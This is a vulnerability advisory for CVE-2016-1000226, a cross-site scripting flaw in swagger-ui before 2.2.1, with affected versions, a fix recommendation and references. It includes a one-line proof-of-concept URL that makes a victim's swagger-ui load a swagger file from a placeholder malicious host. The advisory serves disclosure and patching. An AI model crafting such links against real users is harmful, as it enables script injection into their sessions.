Cross-Site Scripting in swagger-ui

CRITICOCVE-2016-1000226 · GHSA-7f59-x49p-v8mq · Published 01/09/2020 · updated 08/11/2023

In breve

CVE-2016-1000226 è una vulnerabilità CRITICO che riguarda swagger-ui.
Correzione: aggiornare a 2.2.1 o successiva.

Package	Affected versions	Patched versions
swagger-ui npm	`< 2.2.1`	`2.2.1`

Description

Affected versions of swagger-ui are vulnerable to cross-site scripting in both the consumes and produces parameters of the swagger JSON document for a given API.

Additionally, swagger-ui allows users to load arbitrary swagger JSON documents via the query string parameter url, allowing an attacker to exploit this attack against any user that the attacker can convince to visit a crafted link.

Proof of Concept

http://<USER_HOSTNAME>/swagger-ui/index.html?url=http://<MALICIOUS_HOSTNAME>/malicious-swagger-file.json

Recommendation

Update to version 2.2.1 or later.

References

nvd.nist.gov/vuln/detail/CVE-2016-1000226 · ADVISORY
swagger-api/swagger-ui · WEB
swagger-api/swagger-ui#1867 · WEB
swagger-api/swagger-ui · PACKAGE
npmjs.com/advisories/123 · WEB

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